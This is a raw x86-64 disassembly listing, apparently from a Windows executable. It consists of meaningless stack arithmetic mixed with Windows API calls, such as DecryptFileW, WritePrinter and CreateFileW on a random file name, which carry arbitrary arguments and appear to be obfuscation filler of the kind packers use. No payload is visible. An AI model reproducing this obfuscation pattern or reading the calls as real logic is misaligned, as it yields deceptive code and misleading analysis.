mov edx, dword [rsp + 0x59fc]
and edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14001ccfa
mov rax, qword [rsp + 0x12ce0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9960]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9808], eax
jmp 0x14001cd64
mov rax, qword [rsp + 0x12d68]
mov rcx, qword [rsp + 0x12d28]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x9998]
mov edx, dword [rsp + 0x9808]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x14001cd47
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72a]
and eax, ecx
mov rcx, qword [rsp + 0x12d08]
mov byte [rcx], al
jmp 0x14001cd64
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b78]
sub eax, ecx
mov word [rsp + 0x2324], ax
jmp 0x14001d0f1
movzx eax, word [rsp + 0x2b78]
movzx ecx, word [rsp + 0x2324]
sub eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
movsx eax, byte [0x140363edd]
add eax, 0x71
mov byte [rsp + 0x6f8], al
mov rax, qword [rsp + 0x12ce0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12d28]
mov qword [rsp + 0x12db0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12db0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x12cf8]
mov dword [rcx], eax
jmp 0x14001d0f1
lea rax, [rsp + 0x12c40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2b74]
lea r8, [rsp + 0x6fa90]
lea rdx, [rsp + 0x12d80]
mov rcx, qword [rsp + 0x12c50]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
mov dword [rsp + 0x99a0], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x9950]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b78]
movzx ecx, word [0x140352bcc]
shl eax, cl
mov word [rsp + 0x2324], ax
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72a]
or eax, ecx
mov byte [rsp + 0x729], al
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x9968]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9970]
mov ecx, dword [rsp + 0x9974]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9960], eax
mov eax, dword [rsp + 0x9968]
mov ecx, dword [rsp + 0x99b4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov dword [rsp + 0x28], 0xd7
mov rax, qword [rsp + 0x12db8]
mov qword [rsp + 0x20], rax
mov r9d, 0x3b
mov r8, qword [rsp + 0x12c50]
mov edx, 0xb7
mov ecx, 0x86
call qword [sym.imp.KERNEL32.dll_LCMapStringW]
mov dword [rsp + 0x9990], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x997c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9950], eax
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b78]
add eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x729]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
mov rax, qword [rsp + 0x12d28]
mov rcx, qword [rsp + 0x12cf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9808], eax
jmp 0x14001d0f1
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x997c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x59fc], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x997c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rdx, qword [rsp + 0x12d30]
mov rcx, qword [rsp + 0x12dc0]
call qword [sym.imp.KERNEL32.dll_SetFileShortNameW]
mov dword [rsp + 0x9964], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x59fc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9968]
shl eax, cl
mov dword [rsp + 0x9950], eax
mov rax, qword [rsp + 0x12cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9960]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d88]
mov dword [rcx], eax
movsx eax, byte [0x140363edd]
sar eax, 1
mov byte [rsp + 0x6f8], al
mov edx, 0x92
mov rcx, qword [rsp + 0x12dc8]
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov dword [rsp + 0x99d0], eax
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
or eax, ecx
mov word [rsp + 0x2b78], ax
jmp 0x14001d0f1
movzx eax, byte [rsp + 0x729]
movzx ecx, byte [rsp + 0x728]
and eax, ecx
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
mov eax, dword [rsp + 0x9970]
mov dword [rsp + 0x9998], eax
mov eax, dword [rsp + 0x9974]
mov ecx, dword [rsp + 0x99b8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d28]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b78]
movzx ecx, word [rsp + 0x2324]
add eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x728]
movzx ecx, byte [rsp + 0x729]
sub eax, ecx
mov byte [rsp + 0x72a], al
mov edx, 0xfb
mov rcx, qword [rsp + 0x12db8]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x9964], eax
lea rax, [rsp + 0x59fc]
mov qword [rsp + 0x12dd0], rax
mov rax, qword [rsp + 0x12cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9960]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9974], eax
movzx eax, byte [rsp + 0x6f8]
mov byte [rsp + 0x99d4], al
cmp byte [rsp + 0x99d4], 0xed
je 0x14001d173
cmp byte [rsp + 0x99d4], 0x2f
je 0x14031dc72
cmp byte [rsp + 0x99d4], 0x3c
je 0x14031d9a3
cmp byte [rsp + 0x99d4], 0x5e
je 0x14031da93
cmp byte [rsp + 0x99d4], 0x5f
je 0x14031db3d
jmp 0x14031dcfc
mov rax, qword [rsp + 0x12d88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9970]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d28]
mov edx, dword [rsp + 0x9808]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
ja 0x14031d547
mov rax, qword [rsp + 0x12dd0]
mov rcx, qword [rsp + 0x12d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov ecx, dword [rsp + 0x9990]
mov edx, dword [rsp + 0x9950]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14001d35d
mov rax, qword [rsp + 0x12dd0]
mov rcx, qword [rsp + 0x12d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9990], eax
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x997c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12cf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9960]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72a]
add eax, ecx
mov byte [rsp + 0x729], al
mov rcx, qword [rsp + 0x12d38]
call qword [sym.imp.GDI32.dll_GetPolyFillMode]
mov dword [rsp + 0x9950], eax
movzx eax, word [rsp + 0x2324]
mov rcx, qword [rsp + 0x12d80]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b78], ax
mov eax, dword [rsp + 0x9998]
mov ecx, dword [rsp + 0x9970]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d88]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x9950]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2324]
mov rcx, qword [rsp + 0x12d80]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x140352bcc], ax
mov rax, qword [rsp + 0x12dd0]
mov ecx, dword [rsp + 0x59fc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9990], eax
movzx eax, byte [rsp + 0x728]
movzx ecx, byte [rsp + 0x729]
sub eax, ecx
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
mov edx, 0xdf
mov rcx, qword [rsp + 0x12c38]
call qword [sym.imp.USER32.dll_GetGuiResources]
mov dword [rsp + 0x99d8], eax
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
sub eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
mov eax, dword [rsp + 0x997c]
movzx ecx, al
mov eax, dword [rsp + 0x9950]
sar eax, cl
mov dword [rsp + 0x59fc], eax
jmp 0x14001d550
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
sar eax, cl
mov dword [rsp + 0x99dc], eax
movzx ecx, word [rsp + 0x2b78]
movzx edx, word [0x140352bcc]
mov dword [rsp + 0x99e0], edx
mov eax, ecx
cdq
mov ecx, dword [rsp + 0x99e0]
idiv ecx
mov ecx, dword [rsp + 0x99dc]
cmp ecx, eax
jg 0x14001d47a
mov rax, qword [rsp + 0x12d68]
mov ecx, dword [rsp + 0x9960]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9968]
movzx ecx, al
mov eax, dword [rsp + 0x9950]
shl eax, cl
mov dword [rsp + 0x8924], eax
mov eax, dword [rsp + 0x997c]
mov ecx, dword [rsp + 0x8924]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9950], eax
lea rax, [rsp + 0x72a]
mov qword [rsp + 0x12dd8], rax
movzx eax, word [rsp + 0x2324]
mov word [0x140369b74], ax
lea rax, [rsp + 0x9998]
mov qword [rsp + 0x12de0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.nmPW_tC3ZWxpfofksvUQJMYmqto3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x12de8], rax
lea rax, [rsp + 0x9968]
mov qword [rsp + 0x12df0], rax
jmp 0x14001d550
mov rax, qword [rsp + 0x12dd0]
mov rcx, qword [rsp + 0x12d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12df0]
mov ecx, dword [rsp + 0x9968]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x59fc], eax
mov rcx, qword [rsp + 0x12dc8]
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rsp + 0x999c], eax
mov rax, qword [rsp + 0x12dd0]
mov rcx, qword [rsp + 0x12d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12df0]
mov dword [rcx], eax
movsx eax, byte [0x140363edd]
add eax, 0x3c
mov byte [rsp + 0x6f8], al
movsx eax, word [rsp + 0x2b74]
add eax, 0x57f
mov word [rsp + 0x2b74], ax
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b78]
add eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12dd8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x12df8], rax
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x997c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov rdx, qword [rsp + 0x12df0]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jl 0x14001d82b
mov rax, qword [rsp + 0x12ce0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x12cf8]
mov qword [rsp + 0x12e00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12e00]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9970], eax
mov rax, qword [rsp + 0x12ce0]
mov ecx, dword [rsp + 0x9808]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x99b8], eax
lea rax, [rsp + 0x72a]
mov qword [rsp + 0x12e08], rax
lea rax, [rsp + 0x2b78]
mov qword [rsp + 0x12e10], rax
movsx eax, word [rsp + 0x2b74]
cmp eax, 0x1fb
je 0x14001d772
mov dword [rsp + 0x4acb0], 0x11c
movzx eax, byte [rsp + 0x728]
movzx ecx, byte [rsp + 0x72a]
and eax, ecx
mov rcx, qword [rsp + 0x12dd8]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x729]
sub ecx, edx
cmp eax, ecx
jl 0x14001d6ca
mov rax, qword [rsp + 0x12dd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x997c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12df0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9960]
mov dword [rsp + 0x99e4], eax
mov eax, dword [rsp + 0x8924]
mov ecx, dword [rsp + 0x9990]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9950]
mov dword [rsp + 0x99e8], eax
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12e10]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [0x140362448], ax
jmp 0x14001d76d
movzx eax, word [rsp + 0x2b78]
mov rcx, qword [rsp + 0x12e10]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0x2324]
mov rdx, qword [rsp + 0x12d80]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jl 0x14001d713
movzx eax, byte [rsp + 0x729]
movzx ecx, byte [rsp + 0x728]
sar eax, cl
mov byte [rsp + 0x72a], al
jmp 0x14001d76d
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
add eax, ecx
mov rcx, qword [rsp + 0x12d80]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x2b78]
add ecx, edx
cmp eax, ecx
jne 0x14001d76d
lea r9, [rsp + 0x12d08]
lea r8, [rsp + 0x12cc8]
lea rdx, [rsp + 0x99ec]
mov rcx, qword [rsp + 0x12e18]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x99a4], eax
jmp 0x14001d826
movsx eax, byte [rsp + 0x6f8]
sub eax, 6
movsx ecx, byte [0x140363edd]
cmp eax, ecx
jne 0x14001d7c4
mov eax, dword [rsp + 0x99e4]
movzx ecx, al
mov eax, dword [rsp + 0x9970]
shl eax, cl
mov dword [rsp + 0x99b8], eax
mov rax, qword [rsp + 0x12dd0]
mov rcx, qword [rsp + 0x12df0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
jmp 0x14001d826
movzx eax, byte [rsp + 0x729]
mov rcx, qword [rsp + 0x12e08]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x12dd8]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x72a]
or ecx, edx
cmp eax, ecx
jg 0x14001d815
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
and eax, ecx
mov rcx, qword [rsp + 0x12e10]
mov word [rcx], ax
jmp 0x14001d826
movsx eax, byte [0x140363edd]
sub eax, 0x78
mov byte [rsp + 0x6f8], al
jmp 0x14001dcac
movsx eax, word [rsp + 0x2b74]
cmp eax, 0x1c9
jl 0x14001d9fb
movzx eax, word [0x140369b74]
mov rcx, qword [rsp + 0x12d80]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2b78], ax
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x728]
sub eax, ecx
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
lea r8, [rsp + 0x4a870]
mov edx, 0xde
mov rcx, qword [rsp + 0x12c70]
call qword [sym.imp.USER32.dll_EnumDisplaySettingsW]
mov dword [rsp + 0x99d0], eax
mov eax, dword [rsp + 0x99b8]
mov ecx, dword [rsp + 0x9970]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9960], eax
mov rax, qword [rsp + 0x12dd0]
mov ecx, dword [rsp + 0x59fc]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9990]
mov ecx, dword [rsp + 0x99e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12df0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12de0]
mov rcx, qword [rsp + 0x12ce0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9808], eax
mov rax, qword [rsp + 0x12df0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x72a]
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x728], al
lea r9, [rsp + 0x2b78]
mov r8d, 0x74
lea rdx, [rsp + 0x12cb8]
mov rcx, qword [rsp + 0x12e20]
call sub.WINSPOOL.DRV_WritePrinter
mov dword [rsp + 0x9964], eax
movzx eax, word [rsp + 0x2324]
movzx ecx, word [rsp + 0x2b78]
sub eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x12df0]
mov rcx, qword [rsp + 0x12d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9968], eax
mov rax, qword [rsp + 0x12d28]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9974]
shr eax, cl
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x997c]
mov rcx, qword [rsp + 0x12dd0]
mov qword [rsp + 0x12e28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12e28]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x59fc], eax
jmp 0x14001dcac
movsx eax, word [rsp + 0x2b74]
cdq
mov ecx, 0x47c
idiv ecx
cmp eax, 0x7c1
jne 0x14001db0d
mov r8d, 0xa8
mov edx, 0x7d
mov rcx, qword [rsp + 0x12e30]
call qword [sym.imp.GDI32.dll_GetPixel]
mov dword [rsp + 0x9808], eax
movsx eax, byte [rsp + 0x6f8]
or eax, 0x5b
mov byte [0x140363edd], al
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
and eax, ecx
mov rcx, qword [rsp + 0x12e10]
mov word [rcx], ax
movzx eax, byte [rsp + 0x728]
movzx ecx, byte [rsp + 0x72a]
and eax, ecx
mov rcx, qword [rsp + 0x12dd8]
mov byte [rcx], al
movsx eax, word [rsp + 0x2b74]
add eax, 0x401
mov word [rsp + 0x2b74], ax
mov rax, qword [rsp + 0x12d08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x12d08]
mov byte [rcx], al
mov eax, dword [rsp + 0x9970]
mov ecx, dword [rsp + 0x99b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9960], eax
mov rax, qword [rsp + 0x12e38]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x12e40]
mov r8d, 0x1b
mov edx, 0xec
mov rcx, qword [rsp + 0x12e48]
call qword [sym.imp.USER32.dll_SetMenuItemBitmaps]
mov dword [rsp + 0x99a4], eax
jmp 0x14001dcac
mov rax, qword [rsp + 0x12d10]
mov ecx, dword [rsp + 0x997c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9950], eax
movzx eax, word [rsp + 0x2324]
movzx ecx, word [rsp + 0x2b78]
add eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x728]
mov rcx, qword [rsp + 0x12dd8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x72a], al
mov eax, dword [rsp + 0x9808]
mov ecx, dword [rsp + 0x99b8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8924]
mov rcx, qword [rsp + 0x12df0]
mov qword [rsp + 0x12e50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12e50]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x59fc], eax
mov rax, qword [rsp + 0x12dd0]
mov ecx, dword [rsp + 0x8924]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x12df0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x12e58]
call qword [sym.imp.GDI32.dll_BeginPath]
mov dword [rsp + 0x99d0], eax
mov eax, dword [rsp + 0x9974]
mov rcx, qword [rsp + 0x12de0]
mov qword [rsp + 0x12e60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12e60]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9960], eax
movzx eax, word [rsp + 0x2b78]
mov rcx, qword [rsp + 0x12e10]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x72a]
movzx ecx, byte [rsp + 0x728]
and eax, ecx
mov byte [rsp + 0x729], al
mov eax, dword [rsp + 0x9968]
mov ecx, dword [rsp + 0x99b4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8924]
mov ecx, dword [rsp + 0x997c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9990], eax
mov eax, dword [rsp + 0x9808]
mov ecx, dword [rsp + 0x99d8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12de0]
mov dword [rcx], eax
mov edx, 0x48
mov rcx, qword [rsp + 0x12d50]
call qword [sym.imp.GDI32.dll_SetSystemPaletteUse]
mov dword [rsp + 0x9970], eax
movzx eax, word [0x140362448]
mov dword [rsp + 0x99f0], eax
cmp dword [rsp + 0x99f0], 1
je 0x14001dcfc
cmp dword [rsp + 0x99f0], 0x32b
je 0x14031d0c0
cmp dword [rsp + 0x99f0], 0x58f
je 0x14031d3a6
cmp dword [rsp + 0x99f0], 0x982
je 0x14031d22e
jmp 0x14031d40c
mov rax, qword [rsp + 0x12d88]
mov rcx, qword [rsp + 0x12ce0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x99b8], eax
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b78]
imul eax, ecx
mov word [rsp + 0x13d8], ax
movzx eax, word [rsp + 0x13d8]
mov rcx, qword [rsp + 0x12d80]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x12e10]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0x2324]
add ecx, edx
cmp eax, ecx
jl 0x14031cc7a
movsx eax, byte [rsp + 0x6f8]
or eax, 0x3c
movsx ecx, byte [0x140363edd]
cmp eax, ecx
jle 0x14031c84f
mov rax, qword [rsp + 0x12d10]
mov rcx, qword [rsp + 0x12df0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6f8]
sub eax, 9
movsx ecx, byte [0x140363edd]
cmp eax, ecx
jne 0x14001de7e
mov qword [rsp + 0x20], 0xb
mov r9, qword [rsp + 0x12d40]
mov r8, qword [rsp + 0x12e68]
mov rdx, qword [rsp + 0x12db8]
mov rcx, qword [rsp + 0x12cc0]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x12c90], rax
mov rax, qword [rsp + 0x12d10]
mov rcx, qword [rsp + 0x12dd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
movsx eax, byte [0x140363edd]
or eax, 0x25
mov byte [rsp + 0x6f8], al
movsx eax, word [rsp + 0x2b74]
sub eax, 0x394
mov word [rsp + 0x2b74], ax
mov rax, qword [rsp + 0x12e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x13d8]
shl eax, cl
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x12d58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12d08]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x728], al
jmp 0x14031c732
mov rax, qword [rsp + 0x12dd0]
mov ecx, dword [rsp + 0x99e8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12df0]
mov edx, dword [rsp + 0x9968]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jle 0x14001e014
mov rax, qword [rsp + 0x12d88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9970]
shr eax, cl
mov rcx, qword [rsp + 0x12ce0]
mov dword [rcx], eax
mov r8d, 0xc9
mov edx, 0x87
mov rcx, qword [rsp + 0x12d60]
call qword [sym.imp.GDI32.dll_OffsetRgn]
mov dword [rsp + 0x59fc], eax
mov rax, qword [rsp + 0x12df0]
mov rcx, qword [rsp + 0x12d10]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x997c], eax
movzx eax, word [rsp + 0x2324]
movzx ecx, word [rsp + 0x13d8]
sub eax, ecx
mov rcx, qword [rsp + 0x12d80]
mov word [rcx], ax
mov rax, qword [rsp + 0x12e08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x72a]
or eax, ecx
mov rcx, qword [rsp + 0x12d58]
mov byte [rcx], al
mov eax, dword [rsp + 0x99b8]
mov dword [rsp + 0x9998], eax
mov eax, dword [rsp + 0x997c]
mov ecx, dword [rsp + 0x9968]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12d10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12df0]
mov rcx, qword [rsp + 0x12dd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9968], eax
lea rdx, [rsp + 0x6f8]
mov rcx, qword [rsp + 0x12e70]
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov dword [rsp + 0x99f4], eax
mov eax, dword [rsp + 0x9808]
mov dword [rsp + 0x9998], eax
movzx eax, word [rsp + 0x2b78]
mov rcx, qword [rsp + 0x12d80]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12e10]
mov word [rcx], ax
movzx eax, byte [rsp + 0x72a]
movzx ecx, byte [rsp + 0x729]
add eax, ecx
mov rcx, qword [rsp + 0x12dd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x12d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x99b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x997c], eax
jmp 0x14031c732
movzx eax, byte [rsp + 0x72a]
movzx ecx, byte [rsp + 0x728]
xor eax, ecx
mov dword [rsp + 0x99f8], eax
mov rcx, qword [rsp + 0x12d58]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x729]
mov dword [rsp + 0x99fc], edx
mov eax, ecx
cdq
mov ecx, dword [rsp + 0x99fc]
idiv ecx
mov ecx, dword [rsp + 0x99f8]
cmp ecx, eax
jne 0x14001e0db
mov rdx, qword [rsp + 0x12e68]
mov rcx, qword [rsp + 0x12e58]
call qword [sym.imp.USER32.dll_ExcludeUpdateRgn]
mov dword [rsp + 0x997c], eax
mov rax, qword [rsp + 0x12dd0]
mov ecx, dword [rsp + 0x8924]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x12dd0]
mov dword [rcx], eax
